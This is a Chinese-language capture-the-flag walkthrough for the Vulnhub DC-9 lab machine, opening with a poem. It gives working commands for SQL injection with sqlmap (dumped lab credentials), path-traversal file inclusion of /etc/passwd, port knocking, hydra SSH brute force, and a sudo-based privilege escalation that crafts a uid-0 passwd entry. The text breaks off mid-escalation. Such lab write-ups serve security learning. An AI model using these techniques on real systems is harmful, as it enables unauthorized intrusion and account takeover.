Vulnhub DC-9 Walkthrough
前言
这个是这个系列最后一个了,理论上说应该是最难的一个了,且看我拿捏。废话不多说,走完流程后直接开始。先吟诗一首。
九月西风兴,月冷露华凝。
思君秋夜长,一夜魂九升。
二月东风来,草拆花心开。
思君春日迟,一日肠九回。
妾住洛桥北,君住洛桥南。
十五即相识,今年二十三。
有如女萝草,生在松之侧。
蔓短枝苦高,萦回上不得。
人言人有愿,愿至天必成。
愿作远方兽,步步比肩行。
愿作深山木,枝枝连理生。
信息收集
IP 信息
arp-scan -l
。来一下,直接看出目标主机的地址为 192.168.17.177
。
端口信息
nmap -A -T4 192.168.17.177 -p-
。扫描结果可以看出,目标只开放了,22/80
,两个端口,其中 22 被过滤了,所以现在只能尝试 80 端口这一个。
SQL 注入
尝试使用目录扫描工具对网站进行扫描,查看是否有敏感目录存在,遗憾的是并没有发现什么有价值的信息。所以直接在浏览器打开网站查看是否有敏感信息。
发现这么一个输入框,看简介是用来查找某些东西的,所以这里可能是存在注入点的,但是在测试的时候这个请求并不是 GET
类型 ,这样的话,可以直接使用 BurpSuite
抓取 POST
请求包,然后将包放到注入工具跑一下,使用 sqlmap
拖出整个数据表。
抓包
注入
sqlmap -r post.txt --dbs
available databases [3]:
[*] information_schema
[*] Staff
[*] users
sqlmap -r post.txt -D Staff --tables
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users |
+--------------+
sqlmap -r post.txt -D Staff -T Users --columns
Database: Staff
Table: Users
[3 columns]
+----------+-----------------+
| Column | Type |
+----------+-----------------+
| Password | varchar(255) |
| UserID | int(6) unsigned |
| Username | varchar(255) |
+----------+-----------------+
sqlmap -r post.txt -D Staff -T Users -C Username,Password --dump
Database: Staff
Table: Users
[1 entry]
+----------+----------------------------------+
| Username | Password |
+----------+----------------------------------+
| admin | 856f5de590ef37314e7c3bdf6f8a66dc |
+----------+----------------------------------+
找个网站破解一下这个 hash 的密码,我找的是 https://crackstation.net/
文件包含
使用得到的用户名和密码登陆网站查看是否可以进一步有可以利用的信息,没办法,干这个的嘛,就是不能怕麻烦,其实这样已经是很快的了,起码是思路都对了,对吧。
这句话给了极大地思路,那就是这个可能是存在文件包含漏洞的,不然的话这个文件不存在的提示岂不是很鸡肋,对吧,现在就尝试一下,可以包含哪些文件。刚开始尝试的是 ?file=/etc/passwd
,但是发现是不行的,所以这里猜测可能要用相对路径,至于怎么猜的,你见多了就知道了,这就是个经验问题。最终一级一级的尝试,最终包含到了 http://192.168.17.177/manage.php?file=../../../../../../etc/passwd
。
再次 sqlmap
这里看到了很多的用户名,联想之前在 sqlmap 的时候其实是还有一个数据库没有看的,因为在这之前我已经看过了,所以我现在再复现一次。
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
rachelg
rossg:x
phoebeb
scoots
janitor
janitor2
sqlmap -r post.txt -D users -T UserDetails -C password,username --dump
Database: users
Table: UserDetails
[17 entries]
+---------------+-----------+
| password | username |
+---------------+-----------+
| 3kfs86sfd | marym |
| 468sfdfsd2 | julied |
| 4sfd87sfd1 | fredf |
| RocksOff | barneyr |
| TC&TheBoyz | tomc |
| B8m#48sd | jerrym |
| Pebbles | wilmaf |
| BamBam01 | bettyr |
| UrAG0D! | chandlerb |
| Passw0rd | joeyt |
| yN72#dsd | rachelg |
| ILoveRachel | rossg |
| 3248dsds7s | monicag |
| smellycats | phoebeb |
| YR3BVxxxw87 | scoots |
| Ilovepeepee | janitor |
| Hawaii-Five-0 | janitor2 |
+---------------+-----------+
基本上是对的上的,所以一个个尝试哪一个能登陆 ssh 。
SSH 登陆
这里在开始尝试之前先普及一下知识,也不能说是普及,只能说讲述一下我的思路,首先就是要明白这个 ssh
这个东西。如果计算机要启用 SSH,就可能有恶意用户尝试突破限制并对你的计算机进行控制,所以对用户来说,你不得不接受这个事实,凡是有利必有弊,基本常识。所以说,一般来说有几种简单的方案保护 SSH 不被黑客破解。
- 把端口修改为其它不常用,不常见的端口
- 限制用户名访问,只允许白名单中的用户访问,禁止
root
登陆 - 完全隐藏 SSH 可以访问的事实,根据特殊的
knockd
进行访问
首先在扫描的时候发现了 22
端口,并且上面已经获取的了用户名的列表,再加上扫描的结果中指出,这个端口过滤了扫描的流量,所以大胆的判断,要通过方式三进行访问。所以要用到下面这个工具,先看一下介绍:
knockd is a port-knock server. It listens to all traffic on an ethernet (or PPP) interface, looking for special “knock” sequences of port-hits. A client makes these port-hits by sending a TCP (or UDP) packet to a port on the server. This port need not be open — since knockd listens at the link-layer level, it sees all traffic even if it’s destined for a closed port. When the server detects a specific sequence of port-hits, it runs a command defined in its configuration file. This can be used to open up holes in a firewall for quick access.
既然目标主机选择了方式 3 对 ssh 进行隐藏,所以其主机上必然是存在其配置文件的,利用文件包含可以窥见一二。
knockd
http://192.168.17.177/manage.php?file=../../../../../..//etc/knockd.conf
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
可以看出,允许的序列号是 7469,8475,9842
,其实这个东西的原理就是你想要连接我不要紧,得先告诉我暗号,你才有输入密码的机会, 不然的话我不让你连。使用 knockd
发送一下暗号就可以链接了。
knockd 192.168.17.177 7469,8475,9842
# 或者是
nc -v 192.168.17.177 7469
nc -v 192.168.17.177 8475
nc -v 192.168.17.177 9842
再使用 hydra
,替我们对这个用户名和密码一个个尝试,简化操作。
hydra -L username.txt -P password.txt ssh://192.168.17.177
开始提权
先在这三个用户里面随便翻翻,看看有什么信息可以利用,一开始在 janitor
用户的家目录下面发现了。.secrets-for-putin
janitor@dc-9:~$ ls -al
total 16
drwx------ 4 janitor janitor 4096 May 25 15:50 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 May 25 15:50 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
好家伙,你跟我搁这里套娃呢,又一次,好了,既然又获得了,一组密码,那再把原来的字典文件换一个,继续 hydra
吧。又得到一个新的密码。
一般来说这就是柳暗花明了,马上登录这个新的用户。发现可以以 root
的身份执行这条命令。
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
通过文件的内容,以及上面用法的提示,可以判断出这个代码的意思是读取第一个参数的文件里面的内容并追加到第二个文件内容里面。那这里就可以简单的利用一下,已知 root
对 /etc/passwd
文件是可写的。所以,可以构造一个含有一行相同格式的文件,将某个用户写入到 passwd
中,并且 uid
设置为 0。
openssl passwd -1 123
echo 'lee:$1$ymMcuj.A$/zaIyFeaet73GAffnuQ641:0:0::/root:/bin/bash' > /tmp/test.txt